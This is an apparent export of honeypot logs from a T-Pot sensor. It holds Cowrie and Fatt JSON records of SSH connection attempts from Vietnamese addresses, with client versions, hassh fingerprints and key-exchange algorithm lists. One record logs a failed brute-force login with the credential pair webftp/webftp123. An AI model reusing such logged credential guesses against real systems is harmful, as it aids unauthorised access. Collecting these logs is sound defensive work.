25018	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:23.845493+03	2021-09-20 14:15:09.554505+03	{"_id": "SQblAnwBvYTbRNuEdBco", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60848, "dest_port": 22, "timestamp": "2021-09-20T11:09:23.845493", "@timestamp": "2021-09-20T11:09:23.845Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25019	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:23.559186+03	2021-09-20 14:15:09.555472+03	{"_id": "UQblAnwBvYTbRNuEdBfB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:60848 (192.168.176.2:22) [session: eb27d9bd0c99]", "session": "eb27d9bd0c99", "@version": "1", "protocol": "ssh", "src_port": 60848, "dest_port": 22, "timestamp": "2021-09-20T11:09:23.559186Z", "@timestamp": "2021-09-20T11:09:23.559Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25020	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:23.605707+03	2021-09-20 14:15:09.557471+03	{"_id": "TgblAnwBvYTbRNuEdBfA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "eb27d9bd0c99", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:23.605707Z", "@timestamp": "2021-09-20T11:09:23.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25021	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:23.727602+03	2021-09-20 14:15:09.558471+03	{"_id": "WgblAnwBvYTbRNuEdBfB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "5e70f32f8591", "@version": "1", "duration": 3.1079001426696777, "timestamp": "2021-09-20T11:09:23.727602Z", "@timestamp": "2021-09-20T11:09:23.727Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25022	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:24.295465+03	2021-09-20 14:15:09.55947+03	{"_id": "WwblAnwBvYTbRNuEdBfB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [webftp/webftp123] failed", "session": "d26c3d4ddd88", "@version": "1", "password": "webftp123", "username": "webftp", "timestamp": "2021-09-20T11:09:24.295465Z", "@timestamp": "2021-09-20T11:09:24.295Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25023	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:24.413522+03	2021-09-20 14:15:09.561471+03	{"_id": "XAblAnwBvYTbRNuEdBfB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "659f8c926cfe", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:24.413522Z", "@timestamp": "2021-09-20T11:09:24.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25024	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:24.796612+03	2021-09-20 14:15:09.56247+03	{"_id": "YQblAnwBvYTbRNuEeBcR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38712, "timestamp": "2021-09-20T11:09:24.796612", "@timestamp": "2021-09-20T11:09:24.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25025	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:24.42603+03	2021-09-20 14:15:09.564471+03	{"_id": "ZAblAnwBvYTbRNuEeBer", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:41520 (192.168.176.2:22) [session: 8eec8129e441]", "session": "8eec8129e441", "@version": "1", "protocol": "ssh", "src_port": 41520, "dest_port": 22, "timestamp": "2021-09-20T11:09:24.426030Z", "@timestamp": "2021-09-20T11:09:24.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25026	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:24.792604+03	2021-09-20 14:15:09.56547+03	{"_id": "ZQblAnwBvYTbRNuEeBer", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:38712 (192.168.176.2:22) [session: 3820d634de12]", "session": "3820d634de12", "@version": "1", "protocol": "ssh", "src_port": 38712, "dest_port": 22, "timestamp": "2021-09-20T11:09:24.792604Z", "@timestamp": "2021-09-20T11:09:24.792Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25027	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:24.550231+03	2021-09-20 14:15:09.566471+03	{"_id": "cAblAnwBvYTbRNuEeBer", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8eec8129e441", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:24.550231Z", "@timestamp": "2021-09-20T11:09:24.550Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25028	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:24.704323+03	2021-09-20 14:15:09.567471+03	{"_id": "cQblAnwBvYTbRNuEeBer", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8eec8129e441", "@version": "1", "timestamp": "2021-09-20T11:09:24.704323Z", "@timestamp": "2021-09-20T11:09:24.704Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25029	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:24.795333+03	2021-09-20 14:15:09.568471+03	{"_id": "cgblAnwBvYTbRNuEeBer", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3820d634de12", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:24.795333Z", "@timestamp": "2021-09-20T11:09:24.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25030	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:24.802998+03	2021-09-20 14:15:09.57047+03	{"_id": "cwblAnwBvYTbRNuEeBer", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "684762ca9e73", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:24.802998Z", "@timestamp": "2021-09-20T11:09:24.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25031	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:24.805606+03	2021-09-20 14:15:09.571472+03	{"_id": "dAblAnwBvYTbRNuEeBer", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "684762ca9e73", "@version": "1", "timestamp": "2021-09-20T11:09:24.805606Z", "@timestamp": "2021-09-20T11:09:24.805Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	